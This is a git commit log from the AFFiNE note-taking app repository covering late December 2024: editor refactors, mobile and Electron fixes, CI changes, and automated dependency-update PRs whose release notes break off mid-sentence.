Extract AttachmentAdapter, ImageAdapter, NotionTextAdapter to shared.
2024-12-27 08:52:03 +00:00
pengx17
153c1b2c55 refactor(core): make lit portal a bit cleaner (#9354) 2024-12-27 08:34:04 +00:00
forehalo
67be1fb47f fix(tools): import() requires file:// on windows (#9373) 2024-12-27 08:17:59 +00:00
donteatfriedrice
4a3caaf766 refactor(editor): extract notion html adapter to shared (#9341) 2024-12-27 08:00:19 +00:00
fundon
6fcdd015aa fix(component): lit portal not re-rendering in inline links case (#9321)
* uses `portal.key` in templates
* updates `portal.id`  for use in queries
2024-12-27 15:43:13 +08:00
donteatfriedrice
835e7c434e fix(editor): throttle render linked doc card when blockUpdated (#9361)
[BS-2223](https://linear.app/affine-design/issue/BS-2223/性能问题:linked-doc-card-view加载西藏的文档,app-直接挂了)
2024-12-27 07:24:56 +00:00
doouding
7dbb85c8c2 fix: sentry AFFINE-84T (#9368)
Fixes [BS-2243](https://linear.app/affine-design/issue/BS-2243/typeerror-cannot-read-properties-of-undefined-reading-length)
2024-12-27 07:07:53 +00:00
Brooooooklyn
752e697c6a feat(ios): nbstore swift native binding (#9211) 2024-12-27 06:34:30 +00:00
forehalo
8de0679d70 Revert "fix(core): make all docs journal judgement reactive (#9290)"
This reverts commit 727f21d78f.
2024-12-27 14:21:59 +08:00
pengx17
b3933e8bf8 fix(mobile): do not show toc in doc peek view (#9348)
fix AF-2025
2024-12-27 05:48:50 +00:00
EYHN
893493cf01 feat(core): view selfhosted shared docs in electron (#9365) 2024-12-27 05:32:22 +00:00
Saul-Mirone
2b27d62b0e refactor(editor): cleanup ts-expect-error (#9369) 2024-12-27 05:14:23 +00:00
Brooooooklyn
908e3efd12 ci: add fail-fast: false to all matrix (#9355) 2024-12-27 04:56:56 +00:00
Saul-Mirone
3ae3ae98c8 refactor(editor): extract edgeless legacy slots (#9363) 2024-12-27 04:22:52 +00:00
doouding
71272203b0 fix: beginPath before drawing drag indicator (#9364)
Fixes [BS-2238](https://linear.app/affine-design/issue/BS-2238/frame-套一个-mindmap-,拖动行为不可用)
2024-12-27 04:02:57 +00:00
devin-ai-integration
f336d68866 ci: add graphite ci optimizer and update job dependencies (#9362)
feat(ci): add graphite ci optimizer and update job dependencies

This PR adds the Graphite CI optimizer to improve CI efficiency by skipping unnecessary jobs. All workflow jobs have been updated to depend on the optimizer's output.

Changes:
- Add `optimize_ci` job using graphite-ci-action
- Update all jobs to depend on `optimize_ci`
- Add skip conditions based on optimizer output
- Preserve existing job dependencies while adding optimizer dependency
- Handle Redis service configurations and command syntax updates

Note: This PR requires the `GRAPHITE_CI_OPTIMIZER_TOKEN` secret to be configured in the repository settings before the optimizer can be used.

Testing:
- [x] Verified workflow file syntax
- [x] Updated all job dependencies correctly
- [x] Maintained existing job configurations

Link to Devin run: https://app.devin.ai/sessions/3872f4dc4c3341b899646a90c46c4fe3
2024-12-27 03:45:52 +00:00
Brooooooklyn
706b614006 style: add sonarjs/no-gratuitous-expressions rule (#9360) 2024-12-27 03:30:20 +00:00
Saul-Mirone
5eb48343a3 chore(editor): cleanup dead code (#9359) 2024-12-27 03:13:23 +00:00
fundon
20c5c28a95 fix(core): circular dependency in pdf embed view (#9331) 2024-12-27 02:57:21 +00:00
renovate
d66bec3b91 chore: bump up happy-dom version to v16 (#9358)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [happy-dom](https://redirect.github.com/capricorn86/happy-dom) | [`^15.11.7` -> `^16.0.0`](https://renovatebot.com/diffs/npm/happy-dom/15.11.7/16.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/happy-dom/16.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/happy-dom/16.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/happy-dom/15.11.7/16.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/happy-dom/15.11.7/16.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>capricorn86/happy-dom (happy-dom)</summary>

### [`v16.0.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v16.0.0)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v15.11.7...v16.0.0)

##### 💣 Breaking Changes

-   Refactors XML and HTML parsing and serialization - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;1615](https://redirect.github.com/capricorn86/happy-dom/issues/1615)
    -   This change may break your tests as the serialized output may differ from v15

##### 🎨 Features

-   Adds support for parsing XML in `DOMParser` - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;284](https://redirect.github.com/capricorn86/happy-dom/issues/284)

##### 👷‍♂️ Patch fixes

-   Fix for handling `<html>`, `<head>` and `<body>` during parsing - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;1615](https://redirect.github.com/capricorn86/happy-dom/issues/1615)
-   Fix for handling HTML entities correctly when parsing and serializing - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;1494](https://redirect.github.com/capricorn86/happy-dom/issues/1494) and [#&#8203;1498](https://redirect.github.com/capricorn86/happy-dom/issues/1498)
-   Fix for handling attribute names containing "\[" or "]" - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;1638](https://redirect.github.com/capricorn86/happy-dom/issues/1638)
-   Fix for handling comments containing HTML tags - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;1630](https://redirect.github.com/capricorn86/happy-dom/issues/1630)
-   Handles rules for parsing table elements - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;1126](https://redirect.github.com/capricorn86/happy-dom/issues/1126)
-   Loads scripts asynchronously when "defer" is set or "type" is "module" - By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in task [#&#8203;1615](https://redirect.github.com/capricorn86/happy-dom/issues/1615)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS44MC4wIiwidXBkYXRlZEluVmVyIjoiMzkuODAuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-27 02:24:50 +00:00
pengx17
7d0160c8fb feat(electron): enable vscode debugger for electron (#9333) 2024-12-26 15:37:56 +00:00
zzj3720
188cabc7d7 refactor(editor): enable the noUncheckedIndexedAccess rule for the data-view package (#9351)
close: BS-2230
2024-12-26 14:00:11 +00:00
darkskygit
040f427e9e fix(server): test shuold forbid only (#9349) 2024-12-26 13:44:11 +00:00
liuyi
41c8232472 chore(infra): remove blocksuite from infra (#9353) 2024-12-26 13:43:12 +00:00
forehalo
126d576c3e fix(electron): remove blocksuite dep 2024-12-26 21:00:51 +08:00
forehalo
a145986de6 ci: wrong script to build electron renderer 2024-12-26 20:47:58 +08:00
liuyi
0af46c966d chore(tools): add package selector to dev command (#9328) 2024-12-26 12:34:17 +00:00
DarkSky
4ae8c2f4ef fix(server): team quota await (#9352) 2024-12-26 12:08:49 +00:00
darkskygit
5d27a13e2c feat(server): distinguash workspace quota calc (#9338)
fix AF-2021
2024-12-26 11:33:31 +00:00
Mirone
0c849e12c6 fix(editor): crud this error (#9350) 2024-12-26 19:32:34 +08:00
CatsJuice
690a79b905 chore(electron): disable onboarding (#9332)
close AF-2020
2024-12-26 11:21:15 +00:00
doodlewind
fe957e3175 fix(editor): eslint useless escape (#9345) 2024-12-26 11:09:30 +00:00
liuyi
00980077c4 chore: standardize package references (#9346) 2024-12-26 19:08:42 +08:00
Mirone
37747369bc fix(editor): missing edgeless crud piece (#9347) 2024-12-26 11:06:06 +00:00
darkskygit
6d5733fca9 fix: ios client gql compatibility (#9337) 2024-12-26 10:40:12 +00:00
doodlewind
9a29ac4a5c fix(editor): sentry-332848caa68e4679b403d56881e3c0e3 (#9343) 2024-12-26 10:26:31 +00:00
liuyi
4692cfa624 chore: keep old selfhost compose file (#9280) 2024-12-26 18:25:45 +08:00
doodlewind
9b3a2fc0de fix(editor): sentry-624432d8f1e6420ca9c5023a051f4332 (#9342)
Close https://toeverything.sentry.io/issues/6091618868/?project=4506307500179456
2024-12-26 09:59:06 +00:00
Saul-Mirone
d60e9a3885 fix(editor): block selection delete conflict with native selection (#9340)
Closes: [BS-2228](https://linear.app/affine-design/issue/BS-2228/[bug]-选区删除拖拽失灵)
2024-12-26 09:46:39 +00:00
Saul-Mirone
6afa1d542f feat(editor): add edgeless crud extension (#9335) 2024-12-26 08:58:06 +00:00
doouding
0de4f7abbb test: add mindmap collapse test (#9336) 2024-12-26 08:23:09 +00:00
fundon
1afdb68143 fix(core): disable re-rendering of pdf embed view (#9334) 2024-12-26 08:08:11 +00:00
doodlewind
71b5cddea1 fix(editor): use nullable inline editor root element (#9320)
Fixes `sentry-7906c03b79a54ede819c56cc15ad9889`
2024-12-26 07:55:15 +00:00
Flrande
cb4dd127fd fix(editor): merge drag function and fix it (#9329) 2024-12-26 07:41:07 +00:00
donteatfriedrice
cadb9211a6 refactor(editor): extensionalize plain text adapter (#9330) 2024-12-26 07:27:08 +00:00
zzj3720
45acdbda04 feat(core): disable the back gesture when the menu is open (#9263)
close: BS-2174
2024-12-26 07:12:09 +00:00
fundon
96fae47744 feat(core): add pdf embed preview feature flag (#9307) 2024-12-26 06:57:31 +00:00
liuyi
7ae7c17677 fix(core): more space under page property list (#9269) 2024-12-26 14:56:43 +08:00
Flrande
35f93b0535 fix(editor): some blocks can not be collapsed (#9325) 2024-12-26 06:40:11 +00:00
JimmFly
cf17303158 chore: remove AIOnboardingGeneral (#9326) 2024-12-26 06:26:10 +00:00
Saul-Mirone
fd872943b1 feat: extract latex block (#9327) 2024-12-26 06:13:07 +00:00
zzj3720
40d8d83b4a feat(editor): remove flag control for database full-width (#9265) 2024-12-26 05:46:08 +00:00
fundon
42ab507d30 feat(core): pdf viewer supports fit to page (#8812)
### What's Changed

* fits to page by default
* supports rendering pages of different sizes

https://github.com/user-attachments/assets/bf34e6d1-5546-4af1-a131-b801a67e9ace
2024-12-26 05:28:18 +00:00
fundon
bb43e4b664 feat(core): pdf embed view component (#8671)
Closes: [AF-1445](https://linear.app/affine-design/issue/AF-1445/添加-pdf-embed-view-component)
Upstreams: https://github.com/toeverything/blocksuite/pull/8658, https://github.com/toeverything/blocksuite/pull/8752

### What's Changed

* uses `IntersectionObserver` to determine lazy loading
* adds `PDFViewerEmbedded` component
* automatically shut down workers when out of view

<div class='graphite__hidden'>
          <div>🎥 Video uploaded on Graphite:</div>
            <a href="https://app.graphite.dev/media/video/8ypiIKZXudF5a0tIgIzf/4181bec6-83fd-42f1-bfea-87276e0bd9e6.mov">
              <img src="https://app.graphite.dev/api/v1/graphite/video/thumbnail/8ypiIKZXudF5a0tIgIzf/4181bec6-83fd-42f1-bfea-87276e0bd9e6.mov">
            </a>
          </div>
<video src="https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/8ypiIKZXudF5a0tIgIzf/4181bec6-83fd-42f1-bfea-87276e0bd9e6.mov">Screen Recording 2024-11-15 at 08.14.34.mov</video>
2024-12-26 05:28:17 +00:00
Saul-Mirone
90173b2fa3 chore(editor): remove typedoc json (#9324) 2024-12-26 05:13:41 +00:00
Saul-Mirone
fc5999a482 refactor(editor): extract frame block (#9322) 2024-12-26 04:45:11 +00:00
Saul-Mirone
fad0237d94 refactor(editor): extract html adapter to shared (#9319) 2024-12-26 04:05:10 +00:00
Saul-Mirone
37e44e0341 fix(editor): re-init after yText change in inline editor (#9312)
Closes: [BS-2143](https://linear.app/affine-design/issue/BS-2143/block通过drag-handle拖动位置后,无法输入)
2024-12-26 03:51:07 +00:00
Saul-Mirone
0220ba4572 fix: should bring children to new doc created (#9316)
Closes: [BS-2186](https://linear.app/affine-design/issue/BS-2186/created-linked-doc-%E6%97%B6%EF%BC%8C%E4%BC%9A%E6%B8%85%E9%99%A4list%E7%9A%84-children)
2024-12-26 03:37:10 +00:00
donteatfriedrice
3996f96368 refactor(editor): extensionalize notion html adapter (#9318)
Part of [BS-2212](https://linear.app/affine-design/issue/BS-2212/adapter-extension化修复)
2024-12-26 03:22:09 +00:00
fundon
3064f21454 refactor(component): lit portal (#9303)
* removes `listeners`
* adds `notify` property into `LitReactPortal`
* adds `rerendering` argument  to element factory

Related to https://github.com/toeverything/AFFiNE/pull/9295#discussion_r1897043399
2024-12-26 03:08:04 +00:00
doodlewind
7b572bc89e fix(editor): sentry-17da76f65b91465b911fad44279d971a (#9315) 2024-12-26 02:54:07 +00:00
Saul-Mirone
a595a145f0 fix(editor): should remove drag preview after drop (#9313)
Closes: [BS-2219](https://linear.app/affine-design/issue/BS-2219/拖拽后,原编辑器内容有残留)
2024-12-26 02:41:09 +00:00
pengx17
70d9cc6b01 fix(electron): electron crash on leave fullscreen (#9314) 2024-12-26 01:55:07 +00:00
Saul-Mirone
2ffd0e561c refactor(editor): extract note block (#9310) 2024-12-26 01:30:44 +00:00
pengx17
40b90ef51b feat(core): at menu loading state (#9284)
fix AF-2017
2024-12-25 16:13:04 +00:00
renovate
994292098d chore: Lock file maintenance (#9166)
This PR contains the following updates:

| Update | Change |
|---|---|
| lockFileMaintenance | All locks refreshed |

🔧 This Pull Request updates lock files to use the latest dependency versions.

---

### Configuration

📅 **Schedule**: Branch creation - "* 0-3 * * 1" (UTC), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS41OC4xIiwidXBkYXRlZEluVmVyIjoiMzkuNzIuMiIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-25 15:19:02 +00:00
Brooooooklyn
80f4af681a fix(server): data-migration script (#9306) 2024-12-25 13:43:48 +00:00
Saul-Mirone
5274441e14 refactor(editor): extract image block (#9309) 2024-12-25 13:26:29 +00:00
Saul-Mirone
ebd97752bf refactor(editor): extract attachment block (#9308) 2024-12-25 12:19:58 +00:00
Saul-Mirone
d8bc145465 refactor(editor): extract bookmark block (#9304) 2024-12-25 11:22:29 +00:00
akumatus
5e2e58de09 fix: font of AI panel should not be affected by the font of Editor settings (#9305)
Fix issue [BS-2210](https://linear.app/affine-design/issue/BS-2210).
2024-12-25 10:54:58 +00:00
renovate
995978a632 chore: bump up react-error-boundary version to v5 (#9238)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [react-error-boundary](https://redirect.github.com/bvaughn/react-error-boundary) | [`^4.1.2` -> `^5.0.0`](https://renovatebot.com/diffs/npm/react-error-boundary/4.1.2/5.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-error-boundary/5.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-error-boundary/5.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-error-boundary/4.1.2/5.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-error-boundary/4.1.2/5.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>bvaughn/react-error-boundary (react-error-boundary)</summary>

### [`v5.0.0`](https://redirect.github.com/bvaughn/react-error-boundary/compare/4.1.2...3ed17cc9244244c0db7a914c93d573167d0a9fb3)

[Compare Source](https://redirect.github.com/bvaughn/react-error-boundary/compare/4.1.2...5.0.0)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS43Mi41IiwidXBkYXRlZEluVmVyIjoiMzkuNzIuNSIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-25 10:42:28 +00:00
Saul-Mirone
7c84545647 refactor(editor): cleanup dead code (#9300) 2024-12-25 07:48:00 +00:00
Saul-Mirone
16c59d96d9 refactor(editor): move menu context to components (#9302) 2024-12-25 07:34:04 +00:00
donteatfriedrice
62b930f336 fix(editor): notion html adapter for embed link block (#9279)
[BS-1745](https://linear.app/affine-design/issue/BS-1745/[bug]-导入的notion-youtube-embed-错误)
2024-12-25 07:20:26 +00:00
forehalo
2cc7bdfc77 fix(tools): patch monorepo tools (#9285) 2024-12-25 04:55:26 +00:00
CatsJuice
0acdf62043 refactor(ios): disable navigation gesture with js (#9287)
Do not toggle navigation gesture native to avoid unexpected behavior. close AF-1958, AF-1797
2024-12-25 04:27:51 +00:00
Saul-Mirone
50ff3655e5 refactor(editor): extensionalize html adapter (#9299) 2024-12-25 04:04:51 +00:00
doodlewind
a15009ce84 chore(editor): ignore debug zip snapshots (#9297)
Put snapshot zips in `blocksuite/playground/apps/starter/data/snapshots/`
2024-12-25 02:18:46 +00:00
CatsJuice
a29519a9fc fix(mobile): workspace selector in app-fallback may crash (#9293) 2024-12-25 01:59:16 +00:00
CatsJuice
727f21d78f fix(core): make all docs journal judgement reactive (#9290) 2024-12-25 01:41:16 +00:00
Saul-Mirone
d63ba079ee refactor(editor): cleanup dead code (#9294) 2024-12-24 15:27:36 +00:00
Saul-Mirone
f5dea2a990 refactor(editor): remove legacy dnd config (#9291) 2024-12-24 13:59:36 +00:00
Flrande
052d74896e fix: can not drag collapsed heading (#9272) 2024-12-24 12:58:39 +00:00
akumatus
7bd980991e fix(core): chat input will be sent repeatedly in two documents with split view (#9289)
Fix issue [AF-2011](https://linear.app/affine-design/issue/AF-2011).

Add `host` strict equality check before ai request send.
2024-12-24 11:17:42 +00:00
akumatus
6c0544b239 fix(core): ai chat panel content will be inconsistent when switching to journals (#9288)
Fix issue [BS-2153](https://linear.app/affine-design/issue/BS-2153).

Optimize DOM reuse by explicitly providing an identifier (similar to React's key).
2024-12-24 10:48:16 +00:00
doodlewind
20aca4d051 chore(tools): disable hmr by default (#9286) 2024-12-24 10:32:01 +00:00
Saul-Mirone
cd830d6f81 refactor(editor): extract ai item component (#9283) 2024-12-24 09:41:45 +00:00
Saul-Mirone
190e7e6f30 refactor(editor): extract common components (#9282) 2024-12-24 08:41:22 +00:00
EYHN
3cf4bcf651 feat(ios): add intelligents button (#9281)
Co-authored-by: 砍砍 <git@qaq.wiki>
2024-12-24 07:51:11 +00:00
forehalo
fbe3e08769 chore(i18n): codegen 2024-12-24 15:34:07 +08:00
liuyi
2443935830 chore: add monorepo tools (#9196) 2024-12-24 15:29:48 +08:00
liuyi
e3a8b63e38 fix(core): list style issue in selection mode (#9275) 2024-12-24 15:19:34 +08:00
JimmFly
29c427be1d chore: adjust i18n (#9270) 2024-12-24 15:19:19 +08:00
doouding
4ead165dd5 fix: mini mindmap layout (#9276)
Fixes [BS-2197](https://linear.app/affine-design/issue/BS-2197/ai-生成-mindmap-预览异常)
2024-12-24 06:55:26 +00:00
donteatfriedrice
338835a4aa fix(editor): limit max width when uploading or pasting image into edgeless (#9273)
[BS-2180](https://linear.app/affine-design/issue/BS-2180/白板中粘贴图片,限定一下最大宽度)
2024-12-24 06:28:59 +00:00
Saul-Mirone
4ce5cf20c3 refactor(editor): extract filterable list component (#9278) 2024-12-24 05:14:22 +00:00
Saul-Mirone
ea0a345533 refactor(editor): extract common components (#9277) 2024-12-24 04:42:53 +00:00
darkskygit
475e3d80b2 fix(server): vague initial chat content in test (#9267) 2024-12-24 04:26:52 +00:00
L-Sun
4c11537bef feat(mobile): auto show text keyboard subtoolbar when selecting text (#9256)
Close [BS-1924](https://linear.app/affine-design/issue/BS-1924/文本选中后-切换toolbar)

https://github.com/user-attachments/assets/2361dfb9-82ae-4be3-808c-6ea33a70c84d
2024-12-24 04:11:00 +00:00
doodlewind
98f88d2615 chore: base url for mobile debug (#9268)
Without this PR, the login requests on mobile devices will be sent to `localhost:8080`, which is incorrect.
2024-12-24 03:54:56 +00:00
CatsJuice
209c0889f8 fix(mobile): reset active-tab to home on ios/android when launched (#9245) 2024-12-24 03:39:56 +00:00
CatsJuice
3a8d90d861 feat(mobile): use native select for mobile setting (#9236)
![CleanShot 2024-12-21 at 12.01.32.gif](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/LakojjjzZNf6ogjOVwKE/8f29afcc-3541-4081-9f8f-f74e3ba08c4d.gif)
2024-12-24 03:24:51 +00:00
pengx17
17c2293986 feat(core): open in app for self-hosted (#9231)
<div class='graphite__hidden'>
          <div>🎥 Video uploaded on Graphite:</div>
            <a href="https://app.graphite.dev/media/video/T2klNLEk0wxLh4NRDzhk/545994dd-6f7d-468d-a90c-45cb382fdb9d.mp4">
              <img src="https://app.graphite.dev/api/v1/graphite/video/thumbnail/T2klNLEk0wxLh4NRDzhk/545994dd-6f7d-468d-a90c-45cb382fdb9d.mp4">
            </a>
          </div>
<video src="https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/T2klNLEk0wxLh4NRDzhk/545994dd-6f7d-468d-a90c-45cb382fdb9d.mp4">20241222-1456-24.5006677.mp4</video>

fix AF-1815
2024-12-24 03:04:02 +00:00
zzj3720
884bbd2ada feat(editor): add tracking for the creation of linked-doc (#9266)
close: BS-2189
2024-12-24 02:49:21 +00:00
Saul-Mirone
b29cb5945a refactor(editor): move file drop manager to components (#9264) 2024-12-24 02:20:03 +00:00
pengx17
74a168222c fix(core): disable page header title from dragging when editing (#9258)
fix AF-2014
2024-12-23 13:27:00 +00:00
Saul-Mirone
989e318c57 chore: adjust tsconfig for blocksuite (#9259)
change `moduleResolution` to `bundler`
2024-12-23 13:10:55 +00:00
CatsJuice
2793080a57 fix(core): toggle page mode when split view opened (#9221)
close AF-2007
2024-12-23 12:55:29 +00:00
L-Sun
8e1ceec4f9 chore(editor): hide title of locked group (#9261)
Close [BS-2188](https://linear.app/affine-design/issue/BS-2188/[improvement]-多个yuan素-lock-后不渲染标签)
2024-12-23 12:39:07 +00:00
L-Sun
f770daec0a chore: update commit scope enum (#9262) 2024-12-23 12:39:05 +00:00
Saul-Mirone
17e6e7fede fix: typo in reactive text (#9260) 2024-12-23 12:23:56 +00:00
pengx17
8b076cb2a7 chore(core): edit property meta events (#9253)
fix AF-1986
2024-12-23 11:36:24 +00:00
doouding
b246a2d45f fix: drag mind map root node should layout in real time (#9252)
Fixes [BS-2062](https://linear.app/affine-design/issue/BS-2062/拖拽整个-mind-map-还是希望和之前一样,整个思维导图跟手)
2024-12-23 10:33:56 +00:00
darkskygit
aacdb71ee2 feat(server): role changed email (#9227) 2024-12-23 10:13:04 +00:00
L-Sun
067469aa98 fix(component): prevent auto focus in mobile modal (#9247)
Continue [BS-2169](https://linear.app/affine-design/issue/BS-2169/新的-menu-不支持移动端)
2024-12-23 09:56:58 +00:00
L-Sun
ba355d098d chore: add vscode tasks.json to gitignore (#9255) 2024-12-23 09:42:02 +00:00
donteatfriedrice
54cb161309 feat(core): export doc with adapter extension (#9226) 2024-12-23 09:24:55 +00:00
Flrande
43c20c4e05 fix: can not select all block when some block collapsed (#9248) 2024-12-23 09:09:54 +00:00
JimmFly
c793f2307b fix(core): quotaCheck dialog should not appear in team workspace (#9223)
![CleanShot 2024-12-20 at 16 37 17@2x](https://github.com/user-attachments/assets/3bd1107f-cbc8-4415-85ba-e30cf6712f5e)
2024-12-23 08:52:04 +00:00
donteatfriedrice
02aeb89398 feat(core): add plain text adapter for database block (#9225)
[BS-2059](https://linear.app/affine-design/issue/BS-2059/补齐-database-plain-text-adapter)
2024-12-23 08:35:54 +00:00
Saul-Mirone
23dcaa9cb7 refactor: remove legacy drag handle logic (#9246) 2024-12-23 08:13:05 +00:00
donteatfriedrice
a187f23452 chore: each block maintain its own adapter extension (#9224) 2024-12-23 07:54:59 +00:00
CatsJuice
5716fbf0ed chore: remove unnecessary log (#9251) 2024-12-23 07:22:58 +00:00
CatsJuice
9fb5e0db63 perf(core): optimize scrolling performance for doc list (#9250)
- before
  ![CleanShot 2024-12-23 at 14.45.47.gif](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/LakojjjzZNf6ogjOVwKE/3e62773f-00f8-4464-a342-c3cd5c5b6edb.gif)
- after
  ![CleanShot 2024-12-23 at 14.46.22.gif](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/LakojjjzZNf6ogjOVwKE/d713ea5e-ba2d-4251-b93a-a1d0ececc7eb.gif)
2024-12-23 07:07:57 +00:00
EYHN
129f94ee78 refactor(core): move infra modules to core (#9207) 2024-12-23 04:54:00 +00:00
pengx17
2ea79d25ad chore(core): events for backlinks (#9228)
fix AF-2008
2024-12-23 04:37:59 +00:00
pengx17
c775b2e264 fix(core): text-renderer should be readonly (#9244)
fix AF-2010, AF-2009
2024-12-23 04:19:06 +00:00
renovate
97e448fc57 chore: bump up html-validate version to v9 (#9242)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [html-validate](https://html-validate.org) ([source](https://gitlab.com/html-validate/html-validate)) | [`^8.27.0` -> `^9.0.0`](https://renovatebot.com/diffs/npm/html-validate/8.29.0/9.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/html-validate/9.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/html-validate/9.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/html-validate/8.29.0/9.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/html-validate/8.29.0/9.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>html-validate/html-validate (html-validate)</summary>

### [`v9.0.0`](https://gitlab.com/html-validate/html-validate/blob/HEAD/CHANGELOG.md#900-2024-12-23)

[Compare Source](https://gitlab.com/html-validate/html-validate/compare/v8.29.0...v9.0.0)

##### ⚠ BREAKING CHANGES

-   **meta:** The deprecated metadata property expressions have been removed
    and can be replaced with callback functions. This gives greater control for the
    metadata author, provides better IDE support and is more reusable when querying
    the metadata directly.

-   **api:** `Config.merge(..)` will return a `Promise` when used with an
    async loader or resolver.

-   **config:** This change affects all users. The following deprecated
    configuration presets has been removed:

    -   `htmlvalidate:recommended`
    -   `htmlvalidate:document`
    -   `html-validate:a17y`

-   **cli:** CLI uses ESM (with `esmResolver`). For most part this shouldn't
    affect anything but in some cases you might need slight configuration
    migration. See Migration Guide for details.

refactor(cli): use ESM in CLI

-   **deps:** Requires NodeJS v18 or later.
-   **api:** The deprecated `tag:open` and `tag:close` events has been
    removed, use `tag:begin` and `tag:end` instead.
-   **api:** The `Config.resolve()` method can return a `Promise` if any
    underlying loader or resolver has returned a `Promise`.

It is recommended to assume it returns a `Promise` and always `await` the
result:

```diff
-const resolved = config.resolve();
+const resolved = await config.resolve();
```

If you need synchronous code ensure the configuration, the loader and the
resolver all returns synchronous results, e.g. the `staticResolver` with
synchronous code.

-   **api:** The `HtmlValidate.getConfigurationSchema()` method is now async
    and returns a `Promise`. If you use this method you need to await the result:

```diff
-const schema = htmlvalidate.getConfigurationSchema();
+const schema = await htmlvalidate.getConfigurationSchema();
```

-   **api:** If you are writing your own transformers they may now
    optionally return a `Promise`. If you are using `test-utils` to write unit tests
    you must now resolve the promise.

```diff
 import { transformSource } from "html-validate/test-utils";

-const result = transformSource(transformer, source);
+const result = await transformSource(transformer, source);
```

This is no matter if your transformer is actually async or not.

-   **api:** The `CLI.isIgnored(..)` method has been removed from the public
    API. There is no replacement. If you need this method open an issue describing
    the use-case.
-   **api:** If you are using the `CLI` class most methods are now async and
    returns `Promise`. There is no synchronous version of these API calls.
-   **api:** `Config.fromFile(..)` and `Config.fromObject(..)` will return a
    Promise when used with an async loader or resolver.
-   **api:** `ConfigLoader` methods can optionally return a `Promise` for
    async operation. For most use-cases this will not require any changes.
-   **api:** The `ConfigLoader.globalConfig` property has been replaced with
    `ConfigLoader.getGlobalConfig()` (async) and
